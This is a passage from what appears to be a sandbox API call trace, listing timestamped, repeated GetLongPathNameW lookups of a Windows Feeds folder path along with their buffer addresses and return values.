lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.009] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.010] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.011] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.011] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.012] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.015] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.016] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.016] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.017] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.018] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.021] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.022] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.022] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.023] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.024] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.027] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.027] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.028] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.029] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.029] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.033] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.033] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.034] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.035] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.035] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.038] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.039] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.040] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.040] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.041] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.044] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.045] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.046] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.046] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.047] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.050] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.051] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.051] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.052] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.053] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.056] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.056] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.057] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.058] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.058] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.061] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.062] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.063] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.064] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.064] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.067] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.068] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.069] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.069] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.070] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.073] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.074] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.074] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.075] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.076] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.079] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.079] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.080] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.081] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.082] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.085] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.085] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.086] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.087] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.087] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.090] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.091] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.092] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.092] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.093] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.096] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.097] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.098] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.098] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.099] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.102] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.103] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.103] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.104] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.105] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.108] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.109] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.109] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.110] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.111] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.114] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.115] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f 